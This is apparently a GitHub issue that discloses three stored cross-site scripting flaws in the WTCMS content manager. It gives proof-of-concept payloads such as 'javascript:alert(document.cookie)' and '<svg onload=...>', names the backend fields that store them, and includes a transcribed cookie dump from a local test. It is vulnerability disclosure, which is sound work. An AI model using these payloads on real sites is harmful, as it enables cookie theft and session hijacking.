

[New issue](#)[Jump to bottom](#)

Storage XSS was found in three places #11

[Open](#) Ch3ng-sky opened this issue on Sep 5, 2019 · 0 comments

Ch3ng-sky commented on Sep 5, 2019

Three storage XSS were found in wtcms

POC:

```
javascript:alert(document.cookie)
```

1.Click on the background article management and fill in the XSS code at the source of the article

The screenshot shows the '后台管理' (Backend Management) interface of WTCMS. The left sidebar contains a menu with '文章管理' (Article Management) highlighted and circled with a red '1'. The main content area shows the '文章管理' (Article Management) form. The '分类' (Category) dropdown is set to '通知公告' (Notice). The '标题' (Title) field contains the payload '<svg onload=alert(1)>'. The '关键词' (Keywords) field contains the payload '<svg onload=alert(2)>'. The '文章来源' (Article Source) field contains the payload 'javascript:alert(document.cookie)'. The '摘要' (Summary) field contains the payload '<svg onload=alert(4)>'. A red arrow points from the '文章来源' field to a red circle with a '2'.

设置	分类	标题	关键词	文章来源	摘要
通知公告	<svg onload=alert(1)>	<svg onload=alert(2)>	javascript:alert(document.cookie)	<svg onload=alert(4)>	

Find the published article in the front desk and click on the link to trigger XSS

🔔 <svg onload=alert(1)>

2019-09-05 14:44:23 by admin 阅读5

Star_Cheng2.php

注: 本文转载自[javascript:alert\(document.cookie\)](#),如有侵权行为,请联系管理员及时删除。

🔍 上一篇
Notice_title_2

分享文章 Share



最新发布 Latest

1 <svg onload=alert(1...

2 Notice_title_2

3 news_title_2

csrftoken=odg4l9UH3dwNTCaH1gje3f8DwVupUOpe; PHPSESSID=6avi0co1lrt6uctmib53t0tn32; page_cookie=%7B%22page_index%22%3A1%2C%22show_number%22%3A%2214%22%2C%22url%22%3A%22http%3A%2F%2Flocalhost%2FCode-audit%2Fcms%2Fniushop_b2c_mf2.3%2Findex.php%3F%3D%2Fadmin%2Fconfig%2Fusernote%22%7D; gnolt4_admin_username=admin; refresh_time_admin_menu_index=0; refresh_time=0; gnolt4_think_language=zh-CN

确定

POC:

```
javascript:alert(document.cookie)
```

2.Click on the background menu management, fill in the XSS code at the link, and finally click save

后台管理

设置

用户管理

菜单管理

前台菜单

菜单管理

菜单分类

后台菜单

内容管理

扩展工具

首页

文章管理

菜单管理

文章管理

评论

标签

xss2

2

链接

☒ javascript:alert(document.cookie) ☐ 首页

打开方式

默认

图标

<svg onload=alert(3)>

状态

显示

3

保存

返回

Find the location where the XSS code is inserted in the foreground and click to trigger the XSS attack



POC:

```
javascript:alert(document.cookie)
```

3.Click on the background links, fill in the XSS code at the link address, and finally click Save

后台管理

设置

用户管理

菜单管理

内容管理

扩展工具

插件管理

幻灯片

幻灯片管理

幻灯片分类

网站广告

友情链接

第三方登陆

友情链接

添加友情链接

编辑友情链接

链接名称

xss3

*

②

链接地址

javascript:alert(document.cookie)

*

链接图标

admin/20170907/59b11eb6c

上传图片

打开方式

新标签页打开

▼

描述

http://php.net/

③

保存

返回

Find the link address at the bottom of the front desk and click to trigger XSS

